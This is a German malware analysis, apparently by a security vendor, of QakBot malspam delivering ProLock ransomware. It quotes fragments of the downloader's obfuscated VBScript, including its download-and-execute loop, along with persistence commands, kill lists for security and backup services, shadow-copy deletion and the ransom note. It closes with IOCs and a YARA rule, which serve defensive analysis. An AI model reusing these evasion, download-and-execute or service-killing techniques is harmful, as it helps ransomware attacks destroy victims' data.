Zusammenfassung

Das FBI und das CERT-Bund [1][2] warnen davor, dass der Malspam QakBot zur Zeit die Ransomware ProLock verbreitet.

QakBot wird per E-Mail verbreitet. In der hier beschriebenen Kampagne wird mit Hilfe einer E-Mail mit einem Link zu einem ZIP-Archiv, das eine VBScript-Datei enthält, der QakBot-Loader auf die Computer der Opfer heruntergeladen. Von dort aus können die Betreiber von QakBot die Ransomware ProLock laden.

Die Ransomware ProLock verschlüsselt mit RC6 Dateien auf dem Computer des Opfers. Die ersten 8 KiB aller Dateien sind davon ausgenommen. An die verschlüsselten Dateien wird die Endung .proLock angefügt. Außerdem werden eine Lösegeldforderung mit dem Hinweis „[n]othing personal just business“ ([n]ichts Persönliches, rein geschäftlich) sowie Anweisungen zur Zahlung des Lösegelds hinterlassen. Allerdings löscht die Ransomware auch Dateien mit den Endungen .bac oder .bak, sodass die Opfer diese Dateien selbst bei Zahlung des Lösegelds verlieren werden.

Hintergrund

QakBot (auch bekannt als QBot, QuakBot, Pinkslipbot) gibt es seit 2008. Die Ransomware ProLock ist vergleichsweise neu. Wir haben die aktuellen Ereignisse zu diesen beiden Malware-Arten in einem Zeitstrahl zusammengefasst:

Aktuelle Ereignisse zu QakBot

ProLock ist eine Ransomware, die erstmals Ende 2019 aufgetaucht ist. Damals hieß sie PwndLocker. PwndLocker hatte jedoch einen Bug, weshalb die Opfer ihre Dateien ohne Zahlung des Lösegelds entschlüsseln konnten. Daher wurde die Ransomware 2020 in ProLock umbenannt, nachdem der Fehler behoben wurde.

Auch wenn sich ProLock üblicherweise mit RDP Zugang zu den Opfern verschafft, wurde ProLock in letzter Zeit über QakBot verbreitet, auf ähnliche Weise wie die Ransomware von Emotet.

Fachliche Analyse

In dieser Analyse werden zuerst einige Schritte der aktuell zu beobachtenden QakBot-Infektionskette vorgestellt. Die wichtigen und interessanten Schritte werden in dem folgenden Flussdiagramm abgebildet.

QakBot-Infektionskette

Bei der ersten Infektion kommt eine E-Mail mit einem Link zu einem ZIP-Archiv zum Einsatz. Das ZIP-Archiv enthält eine VBScript-Datei, die den QakBot-Loader herunterlädt. QakBot kann ebenso wie Emotet weitere Malware herunterladen. Die Ransomware ProLock ist das jüngste Beispiel für Malware, die auf diese Weise verbreitet wir. Vor ihr haben bereits mehrere Regierungsinstitutionen gewarnt.

Im zweiten Teil dieses Artikels geben wir einen Einblick in das Innenleben der neuen Ransomware ProLock.

E-Mail

Die vorgestellte Kampagne hatte Deutschland als Ziel und setzte Thread-Hijacking ein, d.h. QakBot antwortete auf bestehende E-Mail-Unterhaltungen, die er über frühere Opfern erhalten hatte. Die Kommunikationspartner der früheren Opfer erhielten dann eine E-Mail mit einem Link wie die diese:

Variante der ersten E-Mail

Im unteren Bereich der E-Mail (hier nicht abgebildet) befindet sich der Thread der gehackten Unterhaltung.

Seit dieser Kampagne sind viele verschiedene Kampagnen aufgetreten, auch in anderen Sprachen als Deutsch.

Absender

Als Anzeigename im RFC-5322-Feld „From“ des Headers wird bei den E-Mails der Anzeigename des Gesprächspartners des gehackten Unterhaltungs-Threads angezeigt. Die Adresse im „From“-Feld des Headers ist die tatsächliche Adresse des Absenders. Auf diese Weise bestehen die E-Mails SPF- und DKIM-Prüfungen.

Um dies zu veranschaulichen, nehmen wir einmal an, dass Alice an einer Unterhaltung mit Bob Doe teilgenommen hat. Dieser Unterhaltungs-Thread wird gehackt, als sie sich mit QakBot infiziert. Im „From“-Feld des Headers der gestohlenen E-Mails steht Bob Doe <bob@example.com>. Nun verschickt Alices Computer den Malspam QakBot. Im „From“-Feld des Headers der verschickten E-Mails steht Bob Doe <alice@example.org>.

In diesem Fall gibt es keinen Anzeigenamen und als Anzeigename im „From“-Feld des Headers wird direkt die E-Mail-Adresse verwendet. Dieses Verhalten wurde bei mehreren E-Mails festgestellt. Hier ist ein Beispiel:

Variante der ersten E-Mail

Zeitlicher Rahmen

Aus den Daten der gehackten E-Mail-Unterhaltungen ist ersichtlich, dass die gestohlenen E-Mails größtenteils aktuell sind, d.h. die gehackten E-Mail-Threads sind zum Zeitpunkt der Angriffe erst wenige Tage alt. Anders als die Betreiber von Emotet beschränken sich die Betreiber dieser Malspam-Kampagne beim Thread-Hijacking jedoch scheinbar nicht auf aktuelle E-Mails. Wir haben auch E-Mails entdeckt, die Threads aus dem Jahr 2015 ausgenutzt haben.

Köder

Durch die E-Mails sollen die Opfer dazu verleitet werden, über einen Link mit der Bezeichnung ANHANG ZUM DOWNLOAD einen Download durchzuführen. Dazu wird den Opfern mit unterschiedlichen Phrasen vorgetäuscht, dass sie das Dokument hinter dem Download-Link prüfen oder kommentieren müssen. In früheren englischsprachigen Kampagnen lautete die Link-Bezeichnung ATTACHMENT DOWNLOAD. Hier sind einige Beispiele:

Variante der ersten E-Mail

Variante der ersten E-Mail

Variante der ersten E-Mail

Scheinbar ist die Auswahl an Phrasen begrenzt (denn wir haben Wiederholungen festgestellt), die Formulierungen sind allerdings völlig generisch und können jederzeit durch eine beliebige andere Formulierung ersetzt werden. Deshalb können diese E-Mails in nahezu jeden Unterhaltungs-Thread injiziert werden.

Der Link führt zu einem ZIP-Archiv mit einer VBScript-Datei.

VBScript-Datei

Die VBScript-Datei ist scheinbar etwa 37 MiB (38045309 Bytes) groß, ist aber mit Nullen aufgefüllt.

$ hexdump -C Darlehensvertrag_8378051_19052020.vbs | less
00000000  0a 4f 6e 20 45 72 72 6f  72 20 52 65 73 75 6d 65  |.On Error Resume|
00000010  20 4e 65 78 74 0a 64 69  6d 20 6a 4d 52 50 42 2c  | Next.dim jMRPB,|
00000020  20 68 6d 58 74 76 6c 2c  20 68 68 71 49 43 54 2c  | hmXtvl, hhqICT,|
[...]
00033f50  45 47 46 58 53 51 20 3d  20 46 69 78 28 44 4d 4c  |EGFXSQ = Fix(DML|
00033f60  63 63 29 0a 56 7a 4f 64  69 20 3d 20 78 61 74 43  |cc).VzOdi = xatC|
00033f70  58 48 4e 20 6f 72 20 4e  72 4c 62 55 6d 0a 0a 00  |XHN or NrLbUm...|
00033f80  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
02448670  00 00 00 00 00 00 00 00  00 00 00 00 0a           |.............|
0244867d
(ENDE)

Der tatsächliche VBScript-Code ist nur etwa 200 KiB groß und macht 0,5 % der Datei aus. So soll vermutlich die Entdeckung des Angriffs verhindert werden, denn einige Systeme scannen keine Dateien, die eine bestimmte Größenbeschränkung überschreiten.

Das Script nutzt Verfahren der Evasion, des Anti-Debuggings und der Obfuskation.

Wir werden nur auf die interessanten Teile des Scripts eingehen.

Evasion

Das Script ruht 30000 ms lang:

[...]
ozcHEG = 318 - 15 + 490 + 5 - 22 - 9 - 7 + 10 + 29230
[...]
WScript.Sleep ozcHEG
[...]

Hiermit soll wahrscheinlich eine dynamische Analyse umgangen werden. Einige Analyse-Systeme verkürzen die Analysezeit durch Timeouts und entscheiden anhand der Aktionen, die bis zum Timeout ausgeführt werden, ob eine Probe bösartig ist oder nicht.

Unterdrückung von Fehlern

Das Script verwendet in jeder Funktion On Error Resume Next. Dadurch wird das Programm aufgefordert, mit dem nächsten Programm-Befehl fortzufahren, auch wenn ein Fehler auftritt.

Obfuskation

String-Ersetzung

Mit Hilfe eines gängigen Verfahrens zur String-Ersetzung verschleiert das Script die echten Strings im Script. Der Code

set o=CreateObject(replace("Rx1wRx1scRx1rRx1ipRx1tRx1.sRx1heRx1lRx1l", "Rx1", ""))

wird zu

set o=CreateObject("wscript.shell")

Dieses Verfahren wird an mehreren Stellen im Script eingesetzt.

Zeichenverkettung

Mit Hilfe von Zeichenverkettung bildet das Script Strings aus einzelnen Aufrufen der Funktion chr(). Der Code

qtcqQ=chr(87)&chr(105)&chr(110)&chr(77)&chr(103)&chr(109)&chr(116)&chr(115)&chr(58)&chr(123)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(105)&chr(111)&chr(110)&chr(76)&chr(101)&chr(118)&chr(101)&chr(108)&chr(61)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(101)&chr(125)&chr(33)&chr(92)&chr(92)&chr(46)&chr(92)&chr(114)&chr(111)&chr(111)&chr(116)&chr(92)

wird zu

qtcqQ="WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\"

Dieses Verfahren wird an mehreren Stellen im Script eingesetzt.

XOR-Verschlüsselung

Das Script verwendet einen sehr langen String (zu Beginn definiert). Wir haben den String in LARGE_STRING umbenannt. Dieser lange String wird dreimal mit einer Funktion umgewandelt, die eine XOR-Chiffre zur Entschlüsselung der Download-URLs und der ausführbaren Dateinamen verwendet. Die XOR-Schlüssel werden erzeugt, indem zu einem kürzeren String indiziert wird, den wir in xor_key_selection_string umbenannt haben:

xor_key_selection_string = "J32EmExEv2QE3ZfZsFlO84vJKXRFXWutfc2vigLlDKJZNT9T0wlTWtOiqp8dSt7XJzu9VhQvxzXARwg1kjAEvzaRQJcqbW2J0HmDtXeVxk18ZFhG9zZwWTN4aGkDh0nbIIFGhOPU50PzCAGbom360Sry6vA9DHp56oAtEZZRhaSL0noyFy4C9B3rXTSbPbx0hcOnsNYVUTQ7TIKSLavputomDcV50UwbgBoXbX1a8iY11TCylu13ugCo7C8FXmbSGYPi4rr1dq6KaV7kpp2g6urPeKD3HuLb2nYobSWe9KvmKxGdfUxNz8HAdGjI2kjh6ojyqdayw9RT5yYxLEQsRiHnuz0RiyDeVLFVutox5abkwDf9v66PWlRw4HrThNtW36OZOgw7zmvmOr5ysh5uUf3lRRIcP"
[...]
xor_key_1 = Asc(Mid(xor_key_selection_string, rZGOkh, 418 + 454 + 6 - 19 - 4 + 12 - 21 + 129 - 974))
[...]
TRANS_LARGE_STRING  = string_transform(LARGE_STRING, xor_key_1)
jRABF   = sgzJJn * NrLbUm

DMLcc   = 468 + 14 - 9 + 21 - 196 - 100 + 178 - 231 + 578                        

TRANS_LARGE_STRING  = string_transform(TRANS_LARGE_STRING, xor_key_2)

MGQNb = SWoDQ - xatCXHN                                                          

TRANS_LARGE_STRING = string_transform(TRANS_LARGE_STRING, xor_key_3)

(xor_key_selection_string, xor_key_{1,2,3}, string_transform, TRANS_LARGE_STRING und LARGE_STRING wurden von dem Analytiker umbenannt, um die Programm-Logik besser zu verstehen. Im ursprünglichen Code waren dies zufällige Zeichenfolgen.)

Netzwerk-Verbindung

Das Script sender GET-Anfragen an 5 verschiedene URLS:

Netzwerk-Aufzeichnung durch Wireshark

Der VBScript-Code, der für die GET-Anfragen zuständig ist, ist in der folgenden For-Schleife enthalten:

        For i = 1 To 6
                ms.Open Replace("S12GES12TS12", "S12", ""), RryLCg(index) & iGonf, False

(Bitte beachten Sie, dass wir ein Tool zur Standardisierung der Code-Einrückung verwendet haben.)

Der User Agent ist fest in das Script kodiert. Er ist wie folgt als kapitalisiertes Wort doppelt geschrieben:

ms.setRequestHeader OIEDjshTTW, "AlbertaAlberta"

Zwar sind die Wörter zufällig und unterscheiden sich zwischen den einzelnen Proben, aber das Wort wird immer doppelt geschrieben, z.B. LamodaLamoda usw.

In dem uid-Parameter in dem Query-String befindet sich ein mit Base64 kodierter String mit den Versionen der Antivirus-Software des Systems und der von Windows.

Entschlüsselter uid-Parameter

Diese Informationen werden mit zwei WMI-Abfragen ermittelt.

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter2").ExecQuery("select * from AntiVirusProduct")

und

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

(Natürlich ist der Original-Code für diese beiden Abfragen verschleiert und erstreckt sich über mehrere Code-Zeilen.)

Download und Start des QakBot-Loaders

Dieselbe GET-Anfrage, die den uid-Parameter sendet, erhält eine PE-Datei als Antwort:

Das Script speichert sie unter %userprofile%\AppData\Local\Temp\PicturesViewer.exe und startet die ausführbare Datei:

Der dafür zuständige Code in der VBScript-Datei befindet sich in der oben genannten GET-Anfrage als For-Schleife. Zuerst prüft er den readyState. Falls die Anfrage den Zustand DONE (readyState = 4) liefert, prüft er, ob die Größe des Antwortrumpfes ungleich 0 ist, und schließlich auch, ob der Inhalt der Antwort mit MZ beginnt:

[...]
If ms.readyState = 4 Then
        If Len(ms.responseBody) <> 0 Then
                If Left(ms.responseText, 2) = "MZ" Then
[...]
                        .Write ms.responseBody
[...]
                        execute RryLCg(6)
[...]

Jetzt wird der heruntergeladene QakBot-Loader ausgeführt, womit das Ende des Download-Scripts erreicht ist.

QakBot

Der heruntergeladene QakBot-Loader ist komprimiert. Er entpackt sich während seiner Ausführung selbst in den Speicher. Zuerst führt er sich mit dem Optionsflag /C selbst aus. Infolgedessen prüft QakBot, ob er innerhalb einer Sandbox ausgeführt wird. Daraufhin führt er sich mit schtasks.exe /Create /RU \"NT AUTHORITY\\SYSTEM\" über eine geplante Aufgabe selbst aus. Dadurch kann der Bot seine Berechtigungen ausweiten. Anschließend injiziert er mit einer Prozess-Aushöhlung (Process Hollowing) in explorer.exe (mit Hilfe von CREATE_SUSPENDED). Danach erhält er über Run-Schlüssel (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) sowie über eine geplante Aufgabe (schtasks.exe /create /tr mjezacl.exe /sc HOURLY /mo 5) Persistenz.

Später fragt er über www.ip-address.com die externe IP des infizierten Systems ab. Schließlich stellt er in der deterministischen Phase seiner Ausführungskette eine Verbindung zu den C2-Servern (Proxy) her.

Auf diese Weise kann QakBot ebenso wie Emotet weitere Module sowie zusätzliche Malware laden. In diesem Fall lädt QakBot ProLock herunter und führt es aus.

Bevor wir ProLock analysieren, werfen wir einen kurzen Blick auf die C2-IPs von QakBot.

C2

Die C2-IPs stammen hauptsächlich aus den USA und in deutlich geringerem Maße aus Rumänien. Allerdings kann die Verteilung zwischen den einzelnen Kampagnen leicht variieren.

Die Verbreitungskampagne mit dem Namen spx128 hatte zum Beispiel einen dritten Cluster von IP-Adressen in Mexiko.

C2-Verteilung je Land

Die Verbreitungskampagne mit dem Namen spx116 und einem Köder in deutscher Sprache hatte hingegen etwas mehr C2-IP-Adressen aus Europa:

C2-Verteilung je Land

Es scheint jedoch, dass C2-IP-Adressen in erster Linie aus englischsprachigen Ländern stammen. Diese Verteilung deutet darauf hin, dass QakBot vorrangig auf englischsprachige Länder ausgelegt war. Wie die auf Deutschland ausgerichtete Kampagne zeigt, könnte sich dieser Schwerpunkt jetzt allerdings verlagern und QakBot ähnlich wie Emotet globaler aufgestellt werden.

Falls der Ursprung der C2-IP-Adressen an die Zielländer angepasst würde, wäre eine viel deutlichere Verschiebung zu deutschen IP-Adressen zu erwarten. Daher ist ungewiss, ob die Verschiebung, die bei Kampagnen mit dem Ziel Deutschland festgestellt wurde, rein zufällig ist und die QakBot-Betreiber schlicht keine wesentliche Menge an C2-IP-Adressen aus Europa haben.

Die C2-IP-Liste verändert sich häufig.

ProLock

Wie bereits beschrieben, warnen mehrere Regierungsorganisationen davor, dass QakBot die neue Variante von PwndLocker namens ProLock verbreitet. Deshalb stellen wir kurz die wichtigsten Erkenntnisse zur neuen Ransomware ProLock vor.

Aus öffentlich zugänglichen Quellen ist bekannt, dass die aktuelle ProLock-Variante versteckt in einer Bilddatei namens WinMgr.bmp zugestellt wird. Dieses Bild ist bis auf einige weiße Pixel komplett schwarz. In diesen weißen Pixeln oben rechts ist der Binärcode von ProLock gespeichert.

ProLock in WinMgr.bmp

Von dort aus wird ProLock in den Speicher geladen und über PowerShell ausgeführt.

PowerShell Loader

Der Code des PowerShell-Loaders lautet wie folgt:

ProLock PowerShell Loader

(Bildquelle: [3])

Abhängig von der Zeigergröße ([IntPtr]::size), d.h. der Wortlänge im Betriebssystem, speichert PowerShell die Daten unter 0xA230 (32 Bit) oder 0xD7A0 (64 Bit) und führt sie aus.

Wir betrachten die 32-Bit-Variante.

Entpacken

Als Erstes entpackt die Dekompressionsroutine die Nutzdaten.

ProLock-Dekompressionsroutine entpackt Nutzdaten.

Beim Entpacken wird ein einfaches XOR-Verschlüsselungsverfahren mit dem Offset 0xa27f (in WinMgr.bmp) und dem Schlüssel 0x09b1a2dc eingesetzt.

Der Shellcode der entpackten Nutzdaten durchläuft den PEB ab FS:[0x30], um die Liste der geladenen Module zu erhalten. Er berechnet die Hashes der DLL-Namen und vergleicht sie mit einem Hash von KERNEL32.DLL. So wird die Adresse von kernel32.dll ermittelt. Anschließend werden die Adressen von LoadLibraryA, GetProcAddress und VirtualAlloc ermittelt, indem das Export-Verzeichnis kernel32.dll durchlaufen wird, die Hashes der Funktionsnamen darin berechnet werden und die Funktionsnamen mit einer Liste von Hashes der zugehörigen Funktionen verglichen werden:

ProLock löst die Adressen dynamischer Bibliotheken und Funktionen auf.

Im gesamten Code werden Code-Sequenzen call label; db 'string'; label: ... eingesetzt, um Adressen von Strings in den Speicher zu laden.

ProLock lädt Strings auf 32 Bit.

Hinweis: In der 64-Bit-Version wird eine relative Adressierung verwendet (die in der 32-Bit-Version nicht verfügbar ist).

Mit den geladenen Strings werden die Adressen von weiteren Bibliotheken und Funktionen ermittelt und für die spätere Verwendung gespeichert.

Vorbereitung

Im nächsten Schritt löscht ProLock die folgenden Dateien mit DeleteFileA:

  • C:\\Programdata\\WinMgr.xml
  • C:\\Programdata\\WinMgr.bmp
  • C:\\Programdata\\clean.bat
  • C:\\Programdata\\run.bat

ProLock löscht Dateien

Es trennt alle Verbindungen zu geteilten Ressourcen, außer zu den versteckten.

ProLock löscht geteilte Ressourcen, außer die versteckten.

Es listet mit den Funktionen CreateToolhelp32Snapshot und Process32{First,Next} die laufenden Prozesse auf:

ProLock listet Prozesse auf.

Die ersten 6 Zeichen jedes Prozessnamens werden mit einer Liste verglichen:

Liste zur Abbrechung von Prozessen durch ProLock.

Falls ein Prozess übereinstimmt,

ProLock hält Prozesse von der Abbruchliste an.

wird auf diesen taskkill.exe /F /IM mit Hilfe von ShellExecuteA angewendet:

ProLock hält Prozesse von der Abbruchliste an.

Die gesuchten und abgebrochenen Prozesse beginnen mit: agntsv, cntaos, dbeng5, dbsnmp, encsvc, excel., firefo, infopa, isqlpl, mbamtr, msacce, msftes, mspub., mydesk, mysqld, ntrtsc, ocauto, ocomm., ocssd., onenot, oracle, outloo, pccntm, powerp, sqbcor, sqlage, sqlbro, sqlser, sqlwri, steam., syncti, tbirdc, thebat, thunde, tmlist, visio., winwor, wordpa, xfssv, czoolz.

Im Anschluss wird mit net.exe stop "<service>" /y eine lange Liste von Services angehalten:

Liste zur Abbrechung von Services durch ProLock.

Die Services von der Prozess-Abbruchliste gehören zu Sicherheitsprodukten, aber auch zu Datenbank- und Datensicherungssystemen, die geöffnete Dateien gesperrt haben könnten und so eine Verschlüsselung dieser Dateien durch die Ransomware verhindern würden.

Die gesuchten Services sind CSFalconService, McAfeeFramework, Alerter, AcronisAgent, Acronis VSS Provider, BackupExecAgentAccelerator, BackupExecDeviceMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, BackupExecVSSProvider, DFSR, EPIntegrationService, EPProtectedService, EPSecurityService, EPUpdateService, MB3Service, MBAMService, MBEndpointAgent, MSExchangeES, MSExchangeMGMT, MSExchangeMTA, MSExchangeSA, MSExchangeSRS, MSExchangeADTopology, MSExchangeDelivery, MSExchangeDiagnostics, MSExchangeEdgeSync, MSExchangeHM, MSExchangeHMRecovery, MSExchangeIS, MSExchangeMailboxReplication, MSExchangeRPC, MSExchangeRepl, MSExchangeServiceHost, MSExchangeTransport, MSExchangeUM, MSExchangeUMCR, MSOLAP$*, MSSQLSERVER, MsDtsServer, MySQL57, OSearch15, OracleClientCache80, QuickBooksDB25, SPAdminV4, SPSearchHostController, SPTraceV4, SPUserCodeV4, SPWriterV4, SQLBrowser, SQLSafeOLRService, SQLsafe Backup Service, SQLSERVERAGENT, SQLTELEMETRY, SQLBackups, SQLAgent$*, MSSQL$*, MSMQ, ReportServer, ReportServer$*, SQLWriter, SQLBackupAgent, Symantec System Recovery, SyncoveryVSSService, VeeamBackupSvc, VeeamCatalogSvc, VeeamCloudSvc, VeeamEndpointBackupSvc, VeeamEnterpriseManagerSvc, VeeamMountSvc, VeeamNFSSvc, VeeamRESTSvc, VeeamTransportSvc, Veeam Backup Catalog Data Service, epag, epredline, mozyprobackup, masvc, macmnsvc, mfemms, McAfeeDLPAgentService, psqlWGE, swprv, wsbexchange, WinVNC4, TMBMServer, tmccsf, tmlisten, VSNAPVSS, stc_endpt_svc, wbengine, bbagent, NasPmService, BASupportExpressStandaloneService_N_Central, BASupportExpressSrvcUpdater_N_Central, hasplms, EqlVss, EqlReqService, RapidRecoveryAgent, YTBackup, vhdsvc, TeamViewer, MSOLAP$SQL_2008, MSOLAP$SYSTEM_BGC, MSOLAP$TPS, MSOLAP$TPSAMA, MSSQL$BKUPEXEC, MSSQL$ECWDB2, MSSQL$PRACTICEMGT, MSSQL$PRACTTICEBGC, MSSQL$PROD, MSSQL$PROFXENGAGEMENT, MSSQL$SBSMONITORING, MSSQL$SHAREPOINT, MSSQL$SOPHOS, MSSQL$SQL_2008, MSSQL$SQLEXPRESS, MSSQL$SYSTEM_BGC, MSSQL$TPS, MSSQL$TPSAMA, MSSQL$VEEAMSQL2008R2, MSSQL$VEEAMSQL2012, MSSQLFDLauncher, MSSQLFDLauncher$PROFXENGAGEMENT, MSSQLFDLauncher$SBSMONITORING, MSSQLFDLauncher$SHAREPOINT, MSSQLFDLauncher$SQL_2008, MSSQLFDLauncher$SYSTEM_BGC, MSSQLFDLauncher$TPS, MSSQLFDLauncher$TPSAMA, MSSQLSERVER, MSSQLServerADHelper, MSSQLServerADHelper100, MSSQLServerOLAPService, SQLAgent$BKUPEXEC, SQLAgent$CITRIX_METAFRAME, SQLAgent$CXDB, SQLAgent$ECWDB2, SQLAgent$PRACTTICEBGC, SQLAgent$PRACTTICEMGT, SQLAgent$PROD, SQLAgent$PROFXENGAGEMENT, SQLAgent$SBSMONITORING, SQLAgent$SHAREPOINT, SQLAgent$SOPHOS, SQLAgent$SQL_2008, SQLAgent$SQLEXPRESS, SQLAgent$SYSTEM_BGC, SQLAgent$TPS, SQLAgent$TPSAMA, SQLAgent$VEEAMSQL2008R2, SQLAgent$VEEAMSQL2012, ReportServer$SQL_2008, ReportServer$SYSTEM_BGC, ReportServer$TPS und ReportServer$TPSAMA.

Schließlich löscht ProLock mit den folgenden Befehlen Volumeschattenkopien:

vssadmin.exe-Befehle von ProLock.

vssadmin.exe-Befehle von ProLock.

Die Befehle werden an vssadmin.exe übergeben, das wiederum über ShellExecuteA aufgerufen wird:

Aufruf von vssadmin.exe durch ProLock.

Aufruf von vssadmin.exe durch ProLock.

ProLock listet alle Laufwerkbuchstaben für die Löschung von Schattenkopien auf, hiervon ausgenommen sind nur CD-ROM-Laufwerke (DRIVE_CDROM):

ProLock schließt CD-ROM-Laufwerke von der Löschung von Schattenkopien aus.

Lösegeld

Es scheint, dass ProLock nicht die ersten 8 KiB der Dateien verschlüsselt. Also werden Dateien, die kleiner als 8 KiB sind, überhaupt nicht verschlüsselt und erhalten auch keine .proLock-Endung.

Dateien und Verzeichnisse werden gemäß mehreren Dateilisten verarbeitet:

Datei- und Verzeichnislisten von ProLock.

ProLock wird Dateien mit den Endungen .exe, .dll, .lnk, .ico, .msi, .chm, .sys, .hlf, .lng, .ttf und .cmd auslassen.

Dateien mit den Endungen .bac oder .bak werden gelöscht.

Darüber hinaus durchläuft ProLock keine Verzeichnisse mit den Namen $Recycle.Bin, Windows, Boot, System Volume Information, PerfLogs, Common Files, DVD Maker, Internet Explorer, Kaspersky Lab, Kaspersky Lab Setup Files, WindowsPowerShell, Microsoft, Microsoft.NET, Mozilla Firefox, MSBuild, Windows Defender, Windows Mail, Windows Media Player, Windows NT, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsApps und Uninstall Information. Außerdem werden die folgenden Verzeichnisse im Profilverzeichnis nicht durchlaufen: Adobe, Microsoft, Microsoft_Corporation, Packages und Temp.

ProLock nutzt mehrere Threads. Es gibt eine Funktion innerhalb eines Unterprozesses, die die Verzeichnisstrukturen durchgeht. Verschlüsselt und umbenannt werden die Dateien von anderen Funktionen anderer Unterprozesse:

ProLock führt für die Verschlüsselung von Dateien mehrere Threads aus.

Für die Verschlüsselung ermittelt ProLock mit dem Opcode RDTSC des Prozessors zufällige Zahlen, aus denen es den folgenden Verschlüsselungsschlüssel erzeugt:

Die Funktion von ProLock zur Erzeugung zufälliger Zahlen.

Die Dateien selbst sind scheinbar mit RC6 verschlüsselt. Die RC6-Schlüsselfahrplan-Funktion kann durch die RC6-Konstanten 0xb7e15163 und 0x9e3779b9 sowie durch die typische 44-fache For-Schleife bestimmt werden, von der die im Malware-Code gefundene Schlüsselstruktur ausgeht:

RC6-Schlüsselfahrplan-Funktion von ProLock.

Nach der Verschlüsselung wird an jede verschlüsselte Datei eine .proLock-Endung angehängt:

ProLock hängt .proLock-Endung an.

Beim Durchgehen der Verzeichnisse und vor der Verschlüsselung hinterlässt ProLock in jedem Verzeichnis eine Datei mit dem Namen [HOW TO RECOVER FILES].TXT (WIEDERHERSTELLUNG VON DATEIEN) mit einer Lösegeldforderung. Es folgt eine Übersetzung der Lösegeldforderung (den englischen Originaltext können Sie in der englischen Version dieser Seite nachlesen).

Your files have been encrypted by ProLock Ransomware using RSA-2048 algorithm.

   [.:Nothing personal just business:.]

No one can help you to restore files without our special decryption tool.

To get your files back you have to pay the decryption fee in BTC.
The final price depends on how fast you write to us.

   1. Download TOR browser: https://www.torproject.org/
   2. Install the TOR Browser.
   3. Open the TOR Browser.
   4. Open our website in the TOR browser: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.onion
   5. Login using your ID XXXXXXXXXXXXXXXXXXXX

   ***If you have any problems connecting or using TOR network:
   contact our support by email chec1kyourf1les@protonmail.com.

   [You'll receive instructions and price inside]

The decryption keys will be stored for 1 month.

We also have gathered your sensitive data.
We would share it in case you refuse to pay.

Decryption using third party software is impossible.
Attempts to self-decrypting files will result in the loss of your data.

Natürlich ist das Versprechen, dass dies „[n]ichts Persönliches, rein geschäftlich“ ist, kein Trost für die Opfer.

Wir haben bei dem untersuchten ProLock-Beispiel keine Netzwerk-Verbindung festgestellt. Wir haben jedoch nicht die gesamte Kette bis zum Deployment dieses ProLock-Musters untersucht. Möglicherweise haben die Täter eine Malware für Datendiebstahl verwendet, bevor sie die Ransomware ProLock eingesetzt haben. Demnach könnte die Drohung, gesammelte sensible Daten zu teilen, wahr sein.

Schlussfolgerungen und Gegenmaßnahmen

Lösegeld sollte nicht gezahlt werden. In der Vergangenheit hatte ProLock, damals noch unter dem Namen PwndLocker, Probleme mit dem eigenen Entschlüsselungstool, sodass die Opfer ihre Dateien nicht entschlüsseln konnten. Das FBI hat für die neueste Version ähnliche Bedenken geäußert. Wie diese Untersuchung zeigt, werden Dateien mit der Endung .bac oder .bak nicht verschlüsselt, sondern gelöscht. Das bedeutet, dass es voraussichtlich auch dann zu einem beachtlichen Datenverlust kommt, wenn das Opfer zahlt.

Sie sollten Datensicherungen haben, die für Ransomware unzugänglich sind.

Spam and Malware Protection von Hornetsecurity blockiert bekannte Muster und URLs von QakBot-E-Mails.

Advanced Threat Protection von Hornetsecurity beinhaltet URL Rewriting und ersetzt URLs in E-Mails durch sichere URLs. Mit einem Klick wird der Benutzer zu der abgesicherten Website über den ATP-Proxy von Hornetsecurity umgeleitet, der herunterladbare Inhalte scannt und den Zugriff auf Malware blockiert. Das bietet Schutz vor dem bösartigen Link in der ursprünglichen E-Mail und verhindert von vornherein den Download der QakBot-VBScript-Datei.

Quellen

Indicators of Compromise (IOCs)

Hashes

SHA256 Dateiname Beschreibung
20cd1626d319f10323f5abda86fc11d0ed3783bd65f9c3a6501841e783edf61d Darlehensvertrag_8378051_19052020.vbs VBScript-QakBot-Downloader
0cd872e07f9e1929b9b3baf7f86af70ccb28763bd4f1a16ebad659ea262106a5 888888.png Beispiel QakBot-Loader
a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0 Winmgr.bmp BMP mit ProLock-Shellcode als Nutzdaten

Signaturen

YARA

rule prolock_decoder_stub
{
    meta:
        description = "Detects ProLock decoder stubs"
        author = "Hornetsecurity Security Lab"
        date = "2020-06-03"
        hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
    strings:
        $decoder_stub_32 = {
            55 89 e5 8b 4? ?? eb ?? 89 4? ?? 8d 15 ?? ?? ?? ?? 8d 05
            ?? ?? ?? ?? 83 e8 ?? 29 c2 8b 4? ?? 01 c2 31 db b8 ?? ??
            ?? ?? 31 04 1a 81 3c 1a ?? ?? ?? ?? 74 ?? 83 fb ?? 75 ??
            31 04 1a 40 eb ?? eb ?? 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74
            ?? eb ??  }
        $decoder_stub_64 = {
            55 48 89 e5 48 89 4? ?? 48 8b 4? ?? eb ?? 49 89 c3 48 8d
            15 ?? ?? ?? ?? 48 8d 05 ?? ?? ?? ?? 48 83 e8 ?? 48 29 c2
            4c 89 d8 48 01 c2 48 31 db 48 c7 c0 ?? ?? ?? ?? 31 04 1a
            81 3c 1a ?? ?? ?? ?? 74 ?? 48 83 fb ?? 75 ?? 31 04 1a 48
            ff c0 eb ?? eb ?? 48 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74 ??
            eb ??  }
    condition:
        any of ($decoder_stub_*)
}